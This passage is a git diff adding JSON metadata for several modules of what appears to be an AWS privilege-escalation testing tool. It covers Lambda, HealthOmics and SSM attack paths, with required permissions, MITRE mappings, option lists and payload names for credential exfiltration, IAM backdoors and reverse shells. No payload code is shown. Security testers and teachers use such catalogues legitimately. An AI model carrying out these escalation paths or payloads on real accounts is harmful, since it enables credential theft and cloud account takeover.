+    "pathrunner set FUNCTION_NAME target-lambda-function",
+    "pathrunner exploit"
+  ],
+  "labSlug": "lambda-005",
+  "gifs": [
+    {
+      "name": "lambda-005",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/lambda-006.json b/docs/pathrunner/data/modules/lambda-006.json
new file mode 100644
index 00000000..d7dd9ca1
--- /dev/null
+++ b/docs/pathrunner/data/modules/lambda-006.json
@@ -0,0 +1,277 @@
+{
+  "id": "lambda-006",
+  "name": "iam:PassRole + lambda:CreateFunction + lambda:AddPermission",
+  "description": "Create a new Lambda function with a privileged execution role and grant self-invocation permission via the resource-based policy to execute malicious code under the role's credentials",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "lambda"
+  ],
+  "primaryService": "lambda",
+  "aliases": [
+    "lambda-createfunction-addpermission",
+    "exploit/lambda_createfunction_addpermission"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/lambda-006",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must have permission to pass a privileged role to Lambda service"
+      },
+      {
+        "permission": "lambda:CreateFunction",
+        "description": "Must have permission to create Lambda functions"
+      },
+      {
+        "permission": "lambda:AddPermission",
+        "description": "Must have permission to modify Lambda function resource-based policies"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListRoles",
+        "description": "Helpful for discovering available privileged roles to pass"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "Useful for viewing role trust policies and attached permissions"
+      },
+      {
+        "permission": "iam:ListAttachedRolePolicies",
+        "description": "Useful for understanding what permissions a role has"
+      },
+      {
+        "permission": "lambda:GetFunction",
+        "description": "Useful for verifying function creation and configuration"
+      },
+      {
+        "permission": "lambda:GetPolicy",
+        "description": "Useful for viewing the function's resource-based policy after adding permissions"
+      },
+      {
+        "permission": "lambda:DeleteFunction",
+        "description": "Useful for cleaning up attack artifacts"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A role must exist that trusts lambda.amazonaws.com to assume it",
+      "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
+    ],
+    "lateral": [
+      "A role must exist that trusts lambda.amazonaws.com to assume it"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - lambda-006",
+      "url": "https://pathfinding.cloud/paths/lambda-006"
+    },
+    {
+      "title": "AWS IAM Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS Lambda Privesc",
+      "url": "https://cloud.hacktricks.wiki/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/"
+    }
+  ],
+  "relatedPaths": [
+    "lambda-001",
+    "lambda-005"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1648 - Serverless Execution"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass to the Lambda function",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (exfil/response, exfil/https, backdoor/attach-policy, backdoor/create-role, backdoor/create-user)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for Lambda function deployment",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "FUNCTION_NAME",
+      "description": "Lambda function name (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-lambda-function"
+    },
+    {
+      "name": "RUNTIME",
+      "description": "Lambda runtime",
+      "required": false,
+      "default": "python3.11"
+    },
+    {
+      "name": "TIMEOUT",
+      "description": "Function timeout in seconds",
+      "required": false,
+      "default": "30"
+    },
+    {
+      "name": "MEMORY_SIZE",
+      "description": "Function memory size in MB",
+      "required": false,
+      "default": "128"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Clean up created resources after execution",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an existing IAM user or role",
+      "slug": "lambda-backdoor-attach-policy",
+      "qualifiedName": "lambda:backdoor/attach-policy",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create new access keys for an existing IAM user (does not work on roles)",
+      "slug": "lambda-backdoor-create-access-key",
+      "qualifiedName": "lambda:backdoor/create-access-key",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with administrator privileges and a custom trust policy",
+      "slug": "lambda-backdoor-create-role",
+      "qualifiedName": "lambda:backdoor/create-role",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with administrator privileges and console access",
+      "slug": "lambda-backdoor-create-user",
+      "qualifiedName": "lambda:backdoor/create-user",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Update a role's trust policy to add a trusted principal",
+      "slug": "lambda-backdoor-update-role-trust",
+      "qualifiedName": "lambda:backdoor/update-role-trust",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Send extracted credentials to a remote HTTPS endpoint",
+      "slug": "lambda-exfil-https",
+      "qualifiedName": "lambda:exfil/https",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "webhook"
+      ]
+    },
+    {
+      "name": "exfil/response",
+      "description": "Extract credentials and return them in the Lambda function response",
+      "slug": "lambda-exfil-response",
+      "qualifiedName": "lambda:exfil/response",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "response"
+      ]
+    },
+    {
+      "name": "exfil/s3",
+      "description": "Exfiltrate Lambda execution role credentials to an attacker-controlled S3 bucket",
+      "slug": "lambda-exfil-s3",
+      "qualifiedName": "lambda:exfil/s3",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "name": "revshell/tls",
+      "description": "Establish a TLS-encrypted reverse shell from inside a Lambda function. Only works with new-passrole modules where the function timeout can be set to 900s",
+      "slug": "lambda-revshell-tls",
+      "qualifiedName": "lambda:revshell/tls",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "access",
+        "https"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use lambda-006",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD exfil/response",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "lambda-006",
+  "gifs": [
+    {
+      "name": "lambda-006",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/omics-001.json b/docs/pathrunner/data/modules/omics-001.json
new file mode 100644
index 00000000..5f5838ad
--- /dev/null
+++ b/docs/pathrunner/data/modules/omics-001.json
@@ -0,0 +1,153 @@
+{
+  "id": "omics-001",
+  "name": "iam:PassRole + omics:CreateWorkflow + omics:StartRun",
+  "description": "Create an AWS HealthOmics WDL workflow that exfiltrates the execution role's temporary credentials to an attacker-controlled S3 bucket. The module starts a run passing an admin role via iam:PassRole, waits for completion, retrieves the exfiltrated credentials from S3, and uses them to attach AdministratorAccess to the starting user. HealthOmics tasks have network isolation from the public internet but retain S3 access.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "omics",
+    "s3"
+  ],
+  "primaryService": "omics",
+  "aliases": [
+    "omics-passrole",
+    "exploit/omics_passrole"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/omics-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must be able to pass the target admin IAM execution role to the HealthOmics service"
+      },
+      {
+        "permission": "omics:CreateWorkflow"
+      },
+      {
+        "permission": "omics:StartRun"
+      },
+      {
+        "permission": "s3:GetObject",
+        "description": "Read exfiltrated credentials from the attacker-controlled S3 bucket after the workflow completes"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "omics:GetWorkflow",
+        "description": "Poll workflow creation status"
+      },
+      {
+        "permission": "omics:GetRun",
+        "description": "Monitor run status and verify completion"
+      },
+      {
+        "permission": "omics:ListRuns",
+        "description": "Discover existing runs"
+      },
+      {
+        "permission": "iam:ListAttachedUserPolicies",
+        "description": "Verify privilege escalation success"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A role must exist that trusts omics.amazonaws.com with administrative permissions",
+      "An attacker-controlled S3 bucket must be accessible from HealthOmics (execution role needs s3:PutObject)",
+      "A private ECR repository must contain a container image suitable for running AWS CLI commands (HealthOmics requires private ECR images)"
+    ],
+    "lateral": [
+      "A role must exist that trusts omics.amazonaws.com with elevated permissions",
+      "An attacker-controlled S3 bucket accessible from HealthOmics execution environment"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - omics-001",
+      "url": "https://pathfinding.cloud/paths/omics-001"
+    },
+    {
+      "title": "Actions defined by AWS HealthOmics",
+      "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_awshealthomics.html"
+    },
+    {
+      "title": "IAM roles and policies for AWS HealthOmics",
+      "url": "https://docs.aws.amazon.com/omics/latest/dev/security-iam-roles.html"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1578 - Modify Cloud Compute Infrastructure"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass to the HealthOmics workflow run as the execution role",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "CONTAINER_URI",
+      "description": "Private ECR image URI for the WDL task container (e.g., 123456789012.dkr.ecr.us-east-1.amazonaws.com/aws-cli:latest). HealthOmics does not support public Docker Hub images.",
+      "required": true,
+      "mockValue": "123456789012.dkr.ecr.us-east-1.amazonaws.com/target-image:latest"
+    },
+    {
+      "name": "EXFIL_BUCKET",
+      "description": "Attacker-controlled S3 bucket for credential exfiltration. Auto-populated from attacker infra if not set. The execution role must have s3:PutObject on this bucket.",
+      "required": false,
+      "mockValue": "target-s3-bucket-123456789012"
+    },
+    {
+      "name": "EXFIL_KEY",
+      "description": "S3 object key for the exfiltrated credentials",
+      "required": false,
+      "default": "exfil/creds.json"
+    },
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach AdministratorAccess to (auto-resolved from caller identity if not set)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for HealthOmics workflow deployment",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "WORKFLOW_NAME",
+      "description": "Name for the HealthOmics workflow",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Delete the HealthOmics workflow and run after execution. Note: policy attachment is tracked separately via workspace cleanup.",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use omics-001",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set CONTAINER_URI 123456789012.dkr.ecr.us-east-1.amazonaws.com/target-image:latest",
+    "pathrunner exploit"
+  ],
+  "labSlug": "omics-001",
+  "gifs": [
+    {
+      "name": "omics-001",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/ssm-001.json b/docs/pathrunner/data/modules/ssm-001.json
new file mode 100644
index 00000000..0ee3827f
--- /dev/null
+++ b/docs/pathrunner/data/modules/ssm-001.json
@@ -0,0 +1,235 @@
+{
+  "id": "ssm-001",
+  "name": "ssm:StartSession",
+  "description": "Use ssm:StartSession to remotely access a running EC2 instance via AWS Systems Manager Session Manager, then execute the selected payload using the instance role's permissions. Payloads can exfiltrate credentials, create IAM backdoors, or establish a reverse shell. The attack provides SSH-like access through the AWS API without requiring network connectivity to the instance or open SSH ports.",
+  "category": "existing-passrole",
+  "services": [
+    "iam",
+    "ssm"
+  ],
+  "primaryService": "ssm",
+  "aliases": [
+    "ssm-startsession",
+    "exploit/ssm_startsession"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/ssm-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "ssm:StartSession",
+        "description": "Must be allowed on both the target EC2 instance AND the SSM-SessionManagerRunShell document (arn:aws:ssm:*:*:document/SSM-SessionManagerRunShell)"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "ec2:DescribeInstances",
+        "description": "Helpful for discovering EC2 instances with privileged instance profiles"
+      },
+      {
+        "permission": "ssm:DescribeInstanceInformation",
+        "description": "Helpful for identifying SSM-enabled instances and verifying agent online status"
+      },
+      {
+        "permission": "ssm:TerminateSession",
+        "description": "Allows ending the SSM session cleanly after exploitation"
+      },
+      {
+        "permission": "sts:GetCallerIdentity",
+        "description": "Useful for verifying stolen credentials after exfiltration"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A running EC2 instance must have a privileged IAM role attached via instance profile",
+      "The instance must have the SSM agent installed and running (Amazon Linux 2, Amazon Linux 2023, and Ubuntu 18.04+ include it by default)",
+      "The instance role must have the AmazonSSMManagedInstanceCore policy (or equivalent) to enable SSM connectivity",
+      "The operator must have ssm:StartSession permission on both the target instance and the SSM-SessionManagerRunShell document",
+      "The AWS Systems Manager Session Manager plugin must be installed locally"
+    ],
+    "lateral": [
+      "A running EC2 instance with a privileged IAM role attached via instance profile",
+      "The instance must have the SSM agent installed and running",
+      "The operator must have ssm:StartSession permission on the target instance"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - ssm-001",
+      "url": "https://pathfinding.cloud/paths/ssm-001"
+    },
+    {
+      "title": "PMapper SSM Edges",
+      "url": "https://github.com/nccgroup/PMapper/blob/master/principalmapper/graphing/ssm_edges.py"
+    },
+    {
+      "title": "HackTricks - AWS SSM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/index.html#ssmstartsession"
+    },
+    {
+      "title": "AWS IAM privilege escalation paths",
+      "url": "https://pswalia2u.medium.com/aws-iam-privilege-escalation-paths-cba36be1aa9e"
+    }
+  ],
+  "relatedPaths": [
+    "ssm-002"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0006 - Credential Access"
+    ],
+    "techniques": [
+      "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API",
+      "T1078.004 - Valid Accounts: Cloud Accounts"
+    ]
+  },
+  "options": [
+    {
+      "name": "INSTANCE_ID",
+      "description": "Target EC2 instance ID (must have SSM agent running and a privileged IAM role attached via instance profile)",
+      "required": true,
+      "mockValue": "i-0123456789abcdef0"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload to execute on the instance (run 'payloads list' to see available options)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region where the target instance runs",
+      "required": false,
+      "default": "us-east-1"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach a policy to an IAM user or role using the instance role's IAM permissions",
+      "slug": "ssm-backdoor-attach-policy",
+      "qualifiedName": "ssm:backdoor/attach-policy",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create access keys for an IAM user using the instance role's IAM permissions",
+      "slug": "ssm-backdoor-create-access-key",
+      "qualifiedName": "ssm:backdoor/create-access-key",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with administrator privileges using the instance role's IAM permissions",
+      "slug": "ssm-backdoor-create-role",
+      "qualifiedName": "ssm:backdoor/create-role",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with administrator privileges using the instance role's IAM permissions",
+      "slug": "ssm-backdoor-create-user",
+      "qualifiedName": "ssm:backdoor/create-user",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Append a trust policy statement to an IAM role using the instance role's IAM permissions",
+      "slug": "ssm-backdoor-update-role-trust",
+      "qualifiedName": "ssm:backdoor/update-role-trust",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Exfiltrate instance role credentials to an attacker-controlled HTTPS endpoint via SSM command",
+      "slug": "ssm-exfil-https",
+      "qualifiedName": "ssm:exfil/https",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "exfil",
+        "https"
+      ]
+    },
+    {
+      "name": "exfil/s3",
+      "description": "Exfiltrate instance role credentials to an attacker-controlled S3 bucket via SSM command",
+      "slug": "ssm-exfil-s3",
+      "qualifiedName": "ssm:exfil/s3",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "name": "revshell/tls",
+      "description": "Establish a TLS-encrypted reverse shell via SSM command",
+      "slug": "ssm-revshell-tls",
+      "qualifiedName": "ssm:revshell/tls",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "access",
+        "https"
+      ]
+    },
+    {
+      "name": "shell/interactive",
+      "description": "Open a live interactive shell via the SSM session (no reverse connection required)",
+      "slug": "ssm-shell-interactive",
+      "qualifiedName": "ssm:shell/interactive",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "access"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use ssm-001",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set INSTANCE_ID i-0123456789abcdef0",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "ssm-001",
+  "gifs": [
+    {
+      "name": "ssm-001",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/ssm-002.json b/docs/pathrunner/data/modules/ssm-002.json
new file mode 100644
index 00000000..94c0854a
--- /dev/null
+++ b/docs/pathrunner/data/modules/ssm-002.json
@@ -0,0 +1,236 @@
+{
+  "id": "ssm-002",
+  "name": "ssm:SendCommand",
+  "description": "Use ssm:SendCommand to execute commands on a running EC2 instance that has a privileged IAM role attached via an instance profile. The selected payload determines what action to take with the instance role's credentials or IAM permissions. The instance must have the SSM agent installed and the AmazonSSMManagedInstanceCore policy (or equivalent) attached to its role.",
+  "category": "existing-passrole",
+  "services": [
+    "iam",
+    "ssm"
+  ],
+  "primaryService": "ssm",
+  "aliases": [
+    "ssm-sendcommand",
+    "exploit/ssm_sendcommand"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/ssm-002",
+  "permissions": {
+    "required": [
+      {
+        "permission": "ssm:SendCommand",
+        "description": "Target EC2 instance must be in the Resource section of the policy"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "ec2:DescribeInstances",
+        "description": "Discover available EC2 instances with privileged instance profiles"
+      },
+      {
+        "permission": "ssm:DescribeInstanceInformation",
+        "description": "Identify instances with SSM agent online and ready for commands"
+      },
+      {
+        "permission": "ssm:ListCommandInvocations",
+        "description": "Retrieve command output from the executed payload"
+      },
+      {
+        "permission": "ssm:GetCommandInvocation",
+        "description": "Alternative method to retrieve command output"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "EC2 instance must exist and be in running state",
+      "EC2 instance must have the SSM agent installed (Amazon Linux 2/2023 and Ubuntu include it by default)",
+      "EC2 instance must have an instance profile attached to an IAM role",
+      "IAM role must have the AmazonSSMManagedInstanceCore policy (or equivalent SSM permissions)",
+      "Target EC2 instance must have a role with the permissions needed by the selected payload"
+    ],
+    "lateral": [
+      "EC2 instance must exist and be in running state",
+      "EC2 instance must have the SSM agent installed",
+      "EC2 instance must have an instance profile attached to an IAM role",
+      "IAM role must have the AmazonSSMManagedInstanceCore policy (or equivalent SSM permissions)"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - ssm-002",
+      "url": "https://pathfinding.cloud/paths/ssm-002"
+    },
+    {
+      "title": "HackTricks - AWS SSM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/index.html#ssmsendcommand"
+    },
+    {
+      "title": "IAM Vulnerable - SSM SendCommand",
+      "url": "https://github.com/BishopFox/iam-vulnerable/blob/main/modules/free-resources/privesc-paths/privesc-ssmSendCommand.tf"
+    },
+    {
+      "title": "PMapper - SSM Edges",
+      "url": "https://github.com/nccgroup/PMapper/blob/master/principalmapper/graphing/ssm_edges.py"
+    }
+  ],
+  "relatedPaths": [
+    "ssm-001"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0008 - Lateral Movement"
+    ],
+    "techniques": [
+      "T1651 - Cloud Administration Command",
+      "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
+    ]
+  },
+  "options": [
+    {
+      "name": "INSTANCE_ID",
+      "description": "Target EC2 instance ID (must have SSM agent running and a privileged instance profile)",
+      "required": true,
+      "mockValue": "i-0123456789abcdef0"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload to execute on the instance (run 'payloads list' to see available options)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region where the target instance runs",
+      "required": false,
+      "default": "us-east-1"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach a policy to an IAM user or role using the instance role's IAM permissions",
+      "slug": "ssm-backdoor-attach-policy",
+      "qualifiedName": "ssm:backdoor/attach-policy",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create access keys for an IAM user using the instance role's IAM permissions",
+      "slug": "ssm-backdoor-create-access-key",
+      "qualifiedName": "ssm:backdoor/create-access-key",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with administrator privileges using the instance role's IAM permissions",
+      "slug": "ssm-backdoor-create-role",
+      "qualifiedName": "ssm:backdoor/create-role",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with administrator privileges using the instance role's IAM permissions",
+      "slug": "ssm-backdoor-create-user",
+      "qualifiedName": "ssm:backdoor/create-user",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Append a trust policy statement to an IAM role using the instance role's IAM permissions",
+      "slug": "ssm-backdoor-update-role-trust",
+      "qualifiedName": "ssm:backdoor/update-role-trust",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Exfiltrate instance role credentials to an attacker-controlled HTTPS endpoint via SSM command",
+      "slug": "ssm-exfil-https",
+      "qualifiedName": "ssm:exfil/https",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "exfil",
+        "https"
+      ]
+    },
+    {
+      "name": "exfil/s3",
+      "description": "Exfiltrate instance role credentials to an attacker-controlled S3 bucket via SSM command",
+      "slug": "ssm-exfil-s3",
+      "qualifiedName": "ssm:exfil/s3",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "name": "revshell/tls",
+      "description": "Establish a TLS-encrypted reverse shell via SSM command",
+      "slug": "ssm-revshell-tls",
+      "qualifiedName": "ssm:revshell/tls",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "access",
+        "https"
+      ]
+    },
+    {
+      "name": "shell/interactive",
+      "description": "Open a live interactive shell via the SSM session (no reverse connection required)",
+      "slug": "ssm-shell-interactive",
+      "qualifiedName": "ssm:shell/interactive",
+      "service": "ssm",
+      "tags": [
+        "ssm",
+        "bash",
+        "access"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use ssm-002",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set INSTANCE_ID i-0123456789abcdef0",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "ssm-002",
+  "gifs": [
+    {
+      "name": "ssm-002",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/ssm-003.json b/docs/pathrunner/data/modules/ssm-003.json
new file mode 100644
index 00000000..b5eac47d
--- /dev/null
+++ b/docs/pathrunner/data/modules/ssm-003.json
@@ -0,0 +1,196 @@
+{
+  "id": "ssm-003",
+  "name": "iam:PassRole + ssm:CreateDocument + ssm:StartAutomationExecution",
+  "description": "Create a custom SSM Automation document with a Python aws:executeScript step, then start an execution that passes a privileged IAM role as AutomationAssumeRole. SSM runs the embedded Python in AWS-managed serverless compute under the admin role's credentials \u2014 no EC2 instance, Lambda function, or container is required. The selected payload determines what IAM action to perform.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "ssm"
+  ],
+  "primaryService": "ssm",
+  "aliases": [
+    "ssm-passrole-automation",
+    "exploit/ssm_passrole_automation"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/ssm-003",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must be able to pass the target admin IAM role to the SSM Automation service as AutomationAssumeRole"
+      },
+      {
+        "permission": "ssm:CreateDocument",
+        "description": "No resource constraints required"
+      },
+      {
+        "permission": "ssm:StartAutomationExecution",
+        "description": "No resource constraints required"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "ssm:GetAutomationExecution",
+        "description": "Poll execution status to confirm the Python script ran successfully"
+      },
+      {
+        "permission": "ssm:DescribeAutomationExecutions",
+        "description": "List and monitor automation executions"
+      },
+      {
+        "permission": "ssm:ListDocuments",
+        "description": "Discover existing SSM documents"
+      },
+      {
+        "permission": "ssm:DescribeDocument",
+        "description": "Inspect document content before execution"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A role must exist that trusts ssm.amazonaws.com to assume it",
+      "The role must have the permissions needed by the selected payload (e.g., iam:AttachUserPolicy for backdoor/attach-policy)"
+    ],
+    "lateral": [
+      "A role must exist that trusts ssm.amazonaws.com and has elevated permissions"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - ssm-003",
+      "url": "https://pathfinding.cloud/paths/ssm-003"
+    },
+    {
+      "title": "Using scripts in runbooks (aws:executeScript) - AWS Systems Manager",
+      "url": "https://docs.aws.amazon.com/systems-manager/latest/userguide/automation-document-script-considerations.html"
+    },
+    {
+      "title": "Setting up Automation - AWS Systems Manager",
+      "url": "https://docs.aws.amazon.com/systems-manager/latest/userguide/automation-setup.html"
+    }
+  ],
+  "relatedPaths": [
+    "ssm-001",
+    "ssm-002"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0005 - Defense Evasion"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation",
+      "T1651 - Cloud Administration Command"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "ARN of the IAM role to pass as AutomationAssumeRole (must trust ssm.amazonaws.com and have the permissions needed by the selected payload)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload to execute via SSM Automation Python step (run 'payloads list' to see available options)",
+      "required": true
+    },
+    {
+      "name": "DOCUMENT_NAME",
+      "description": "Name for the SSM Automation document to create",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for SSM Automation execution",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Delete the SSM Automation document after execution. Note: the starting user typically lacks ssm:DeleteDocument \u2014 use 'workspace cleanup' with admin credentials instead.",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
